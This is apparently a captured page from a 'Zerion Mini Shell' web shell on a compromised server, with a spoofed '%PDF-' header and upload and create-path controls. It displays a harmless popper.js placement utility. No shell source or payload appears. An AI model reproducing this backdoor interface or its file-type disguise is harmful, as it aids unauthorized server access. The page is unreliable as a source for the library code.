%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/@popperjs/core/lib/utils/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/@popperjs/core/lib/utils/getOppositeVariationPlacement.js.flow

// @flow
import type { Placement } from '../enums';

const hash = { start: 'end', end: 'start' };

export default function getOppositeVariationPlacement(
  placement: Placement
): Placement {
  return (placement.replace(/start|end/g, matched => hash[matched]): any);
}

Zerion Mini Shell 1.0